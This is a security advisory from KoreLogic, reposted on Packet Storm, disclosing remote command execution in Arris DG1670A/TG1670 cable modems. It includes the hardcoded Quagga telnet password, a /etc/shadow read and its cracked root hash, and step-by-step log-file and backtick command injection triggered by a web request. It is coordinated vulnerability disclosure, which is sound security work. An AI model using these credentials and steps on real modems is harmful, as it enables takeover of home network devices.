Arris DG1670A Cable Modem Remote Command Execution

2016-02-13T00:00:00
ID PACKETSTORM:135744
Type packetstorm
Reporter Hank Leininger
Modified 2016-02-13T00:00:00

Description

                                        
                                            `-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA256  
  
KL-001-2016-001 : Arris DG1670A Cable Modem Remote Command Execution  
  
Title: Arris DG1670A Cable Modem Remote Command Execution  
Advisory ID: KL-001-2016-001  
Publication Date: 2016.02.12  
Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2016-001.txt  
  
  
1. Vulnerability Details  
  
Affected Vendor: Arris  
Affected Product: Cable Modem  
Affected Version: DG1670A, TG1670  
Platform: Embedded Linux  
CWE Classification: CWE-73: External Control of File Name or Path;  
CWE-77: Improper Neutralization of Special Elements  
used in a Command;  
CWE-522: Insufficiently Protected Credentials  
Impact: Arbitrary Code Execution  
Attack vector: Telnet  
CVE-ID: <Not yet assigned>  
  
2. Vulnerability Description  
  
The Arris DG1670A leverages a combination of technologies to  
deliver the product functionality. Combining several of these  
technologies in an unanticipated way will allow an attacker to  
execute arbitrary commands on the underlying operating system as  
the most privileged user.  
  
3. Technical Description  
  
Use the password: JhAkuo18  
  
On August 28, 2015 a user on GitHub by the name of  
GuerrillaWarfare posted a new repository named Junkyard. The  
repository had firmware images for popular cable modems.  
  
Repository: https://github.com/GuerrillaWarfare/Junkyard  
Filename: TS0801102P_100714_NA.16XX.GW.ATOM.img  
  
Below is the directory content of the squashfs-root directory  
contained within the image:  
  
# ls  
bin etc gw.fsname include linuxrc nvram sbin share tmp var version  
dev fss hdisk1 lib mnt proc scripts sys usr var.tar vop  
  
The default IP address assigned to Arris modems is 192.168.100.1  
and is routable from networks where the modem is attached. Below  
is a Nmap output of services listening on the default IP address:  
  
# sudo nmap -T5 -sU -sT -p- 192.168.100.1  
Nmap scan report for 192.168.100.1  
Host is up (0.0053s latency).  
PORT STATE SERVICE VERSION  
80/tcp open http lighttpd  
443/tcp open ssl/http lighttpd  
2602/tcp open ripd?  
8080/tcp open http lighttpd  
  
A service listening on port 2602 is usually associated with  
Quagga. Going back to the squashfs-root directory, if we grep  
through the content of this file system there are several .conf  
files containing passwords. One of the files containing passwords  
is zebra.conf, which can be used to authenticate to the Quagga  
telnet console.  
  
# grep -ri "password" *.conf|more  
etc/default/ripngd.conf:password JhAkuo18  
etc/default/zebra.conf:password JhAkuo18  
etc/default/ripd.conf:password JhAkuo18  
  
$ telnet 192.168.100.1 2602  
Trying 192.168.100.1...  
Connected to 192.168.100.1.  
Escape character is '^]'.  
  
Hello, this is Quagga (version 0.99.16).  
Copyright 1996-2005 Kunihiro Ishiguro, et al.  
  
  
User Access Verification  
  
Password:  
PROMPT>  
  
Entering a '?' at any point gives context-sensitive help text.  
There are several layers of 'privilege' though there are no  
restrictions on elevating on this device. Quagga is an  
open-source routing daemon commonly found in routers, access  
points, and modems. In the case described, it has been implemented  
on a cable modem to facilitate route provisioning from local ISP  
to the public internet.  
  
PROMPT> ?  
echo Echo a message back to the vty  
enable Turn on privileged mode command  
exit Exit current mode and down to previous mode  
help Description of the interactive help system  
list Print command list  
quit Exit current mode and down to previous mode  
show Show running system information  
terminal Set terminal line parameters  
who Display who is on vty  
PROMPT> enable  
PROMPT# ?  
clear Reset functions  
configure Configuration from vty interface  
copy Copy configuration  
debug Debugging functions (see also 'undebug')  
disable Turn off privileged mode command  
echo Echo a message back to the vty  
end End current mode and change to enable mode.  
exit Exit current mode and down to previous mode  
help Description of the interactive help system  
list Print command list  
logmsg Send a message to enabled logging destinations  
no Negate a command or set its defaults  
quit Exit current mode and down to previous mode  
show Show running system information  
terminal Set terminal line parameters  
who Display who is on vty  
write Write running configuration to memory, network, or terminal  
PROMPT# configure ?  
terminal Configuration terminal  
PROMPT# configure terminal  
PROMPT(config)# ?  
access-list Add an access list entry  
banner Set banner string  
debug Debugging functions (see also 'undebug')  
enable Modify enable password parameters  
end End current mode and change to enable mode.  
exit Exit current mode and down to previous mode  
help Description of the interactive help system  
hostname Set system's network name  
interface Select an interface to configure  
ip IP information  
ipv6 IPv6 information  
key Authentication key management  
line Configure a terminal line  
list Print command list  
log Logging control  
no Negate a command or set its defaults  
password Assign the terminal connection password  
quit Exit current mode and down to previous mode  
route-map Create route-map or enter route-map command mode  
router Enable a routing process  
service Set up miscellaneous service  
show Show running system information  
write Write running configuration to memory, network, or terminal  
  
The service message of the day banner can be abused to allow for  
arbitrary file reading. Also, the logging mechanism can be abused  
to allow for meaningful writes. The combination of these factors,  
along with a lack of shell metacharacter filtering, will be used  
to obtain remote command execution.  
  
PROMPT(config)# banner motd file ?  
file Banner from a file  
PROMPT(config)# log file ?  
FILENAME Logging filename  
PROMPT(config)# exit  
PROMPT# log notifications ?  
MESSAGE The message to send  
  
Reading arbitrary files:  
  
PROMPT(config)# banner motd file /etc/shadow  
  
# telnet 192.168.100.1 2602  
Trying 192.168.100.1...  
Connected to 192.168.100.1.  
Escape character is '^]'.  
root:$1$xQWhDWOr$FYNAc2DuT2Q45OY7s2R43/:10063:0:99999:7:::  
  
User Access Verification  
  
Password:  
  
This password hash cracks to the word arris.  
  
Meaningful file writes:  
  
PROMPT# configure terminal  
PROMPT(config)# banner motd file /var/tmp/kore-log.txt  
PROMPT(config)# log file /var/tmp/kore-log.txt  
PROMPT(config)# exit  
PROMPT# log notifications KORELOGIC  
  
# telnet 192.168.100.1 2602  
Trying 192.168.100.1...  
Connected to 192.168.100.1.  
Escape character is '^]'.  
2015/09/10 07:16:50 RIP: KORELOGIC  
  
User Access Verification  
  
Password:  
  
It appears as though we can write to files. Further testing,  
confirmed that file permissions (and read-only mounted filesystems)  
heavily restrict the locations where writing is allowed.  
  
There are several shell scripts in the web root.  
  
# ls -la usr/www/*.sh  
lrwxrwxrwx 1 root root 18 Sep 5 04:55 usr/www/guioff.sh -> /var/tmp/guioff.sh  
lrwxrwxrwx 1 root root 17 Sep 5 04:55 usr/www/guion.sh -> /var/tmp/guion.sh  
  
# cat var/tmp/guion.sh  
echo 1 > /nvram/8/guiflag  
  
# cat var/tmp/guioff.sh  
echo 0 > /nvram/8/guiflag  
  
The lighttpd.conf file indicates there is a handler defined for  
shell scripts.  
  
#ARRIS CHANGE BEGIN  
#### CGI module  
cgi.assign = ( ".pl" => "/usr/bin/perl",  
".cgi" => "/usr/bin/perl",  
".sh" => "/bin/sh",  
"/walk" => "/fss/gw/usr/bin/web2snmp",  
"/snmpSet" => "/fss/gw/usr/bin/web2snmp",  
"/snmpGet" => "/fss/gw/usr/bin/web2snmp",  
"/login" => "/fss/gw/usr/bin/web2snmp",  
"/backup" => "/fss/gw/usr/bin/web2snmp",  
"/restore" => "/fss/gw/usr/bin/web2snmp",  
"/hsd" => "/fss/gw/usr/bin/web2snmp",  
"/setPassword" => "/fss/gw/usr/bin/web2snmp",  
# UNIHAN ADD START  
"/storelog" => "/fss/gw/usr/bin/web2snmp",  
"/checkPassword" => "/fss/gw/usr/bin/web2snmp"  
# UNIHAN ADD END  
)  
  
  
PROMPT# configure terminal  
PROMPT(config)# log file /var/tmp/guion.sh  
PROMPT(config)# exit  
PROMPT# log notifications | `/bin/busybox uname -a >> /var/tmp/shell.txt 2>&1`  
PROMPT# configure terminal  
PROMPT(config)# banner motd file /var/tmp/shell.txt  
  
Followed by a GET request:  
  
GET /guion.sh HTTP/1.1  
Host: 192.168.100.1:8080  
User-Agent: Mozilla/5.0  
Accept: text/plain, */*; q=0.01  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
DNT: 1  
X-Requested-With: XMLHttpRequest  
Connection: close  
  
And response:  
  
HTTP/1.1 200 OK  
Content-Length: 0  
Date: Wed, 09 Sep 2015 20:28:55 GMT  
Server: lighttpd  
  
Now we telnet:  
  
$ telnet 192.168.100.1 2602  
Trying 192.168.100.1...  
Connected to 192.168.100.1.  
Escape character is '^]'.  
Linux ARRISGW 2.6.39.3 #1 PREEMPT Thu Nov 6 14:56:21 EST 2014 armv6b GNU/Linux  
  
User Access Verification  
  
Password:  
  
Note that the current upstream version of Quagga does not appear  
to be affected (tested against Quagga 0.99.24.1). First, the  
daemon runs with dropped privileges for operations like reading  
the motd file or writing logs. So, 'banner motd' cannot read a  
root-only file such as /etc/shadow, and 'log file  
/root/.ssh/authorized_keys' (for example) cannot write to a  
root-only file. Furthermore, in the scenario outlined here,  
triggering the shell commands written to the logfile required  
an additional moving part - the lighttpd server - which is not  
included in a Quagga install.  
  
4. Mitigation and Remediation Recommendation  
  
The vendor has issued a patch for this vulnerability. KoreLogic  
wishes to thank Arris for their cooperation and attention to this  
issue.  
  
5. Credit  
  
This vulnerability was discovered by Matt Bergin (@thatguylevel)  
and Hank Leininger of KoreLogic, Inc.  
  
6. Disclosure Timeline  
  
2015.09.21 - KoreLogic sends vulnerability report and PoC to Arris.  
2015.09.21 - Arris acknowledges receipt of vulnerability report.  
2015.09.30 - Arris contacts KoreLogic to obtain additional details.  
2015.10.08 - Arris updates KoreLogic indicating they are working on a fix.  
2015.10.21 - Arris contacts KoreLogic to discuss the patch timeline.  
2015.11.23 - Arris contacts KoreLogic to discuss the patch timeline.  
2015.12.07 - KoreLogic requests CVE from Mitre.  
2016.01.28 - KoreLogic contacts Arris to ensure patch is ready for release.  
2016.01.29 - KoreLogic requests CVE from Mitre.  
2016.02.08 - KoreLogic requests CVE from Mitre.  
2016.02.12 - Arris informs KoreLogic that the patch has been released to  
subscribers.  
2016.02.12 - Coordinated Public Disclosure.  
  
7. Proof of Concept  
  
N/A  
  
The contents of this advisory are copyright(c) 2016  
KoreLogic, Inc. and are licensed under a Creative Commons  
Attribution Share-Alike 4.0 (United States) License:  
http://creativecommons.org/licenses/by-sa/4.0/  
  
KoreLogic, Inc. is a founder-owned and operated company with a  
proven track record of providing security services to entities  
ranging from Fortune 500 to small and mid-sized companies. We  
are a highly skilled team of senior security consultants doing  
by-hand security assessments for the most important networks in  
the U.S. and around the world. We are also developers of various  
tools and resources aimed at helping the security community.  
https://www.korelogic.com/about-korelogic.html  
  
Our public vulnerability disclosure policy is available at:  
https://www.korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.2.txt  
-----BEGIN PGP SIGNATURE-----  
Version: GnuPG v2  
  
iQEcBAEBCAAGBQJWvjskAAoJEE1lmiwOGYkMYLYH/R7BnCwuDtpF0Bg7zTt18XoR  
DPfZoJxU9JOFHSzVxu0tyPiicGAcm/IpWKiaJSDaxLds4GCtERLnKpcqg84iEtdT  
zm3/2eL0RVajzY1FtZvssga90cbzoER8EykWNxbKjzpsccYhXpcXW+ahQB63ZWR3  
gEJNJdQ/KBTUqh1prm1MXHzaQupZecL5kDuFEOrFAMZXCrU+27HPhklh0/IOdxH8  
KpBCSRdWxIt9QNP33NDhs8c6z2D6VVKFYkL5PL3OSYduHbB2Mn8kQbhFNnhfGzLY  
xqrtkPwzK4jGu6xpiBKdpZQ19bCp/5DiSjr8L4ISCMfgKD4gmAcjmrWfw7QGpXI=  
=8qN6  
-----END PGP SIGNATURE-----  
  
  
`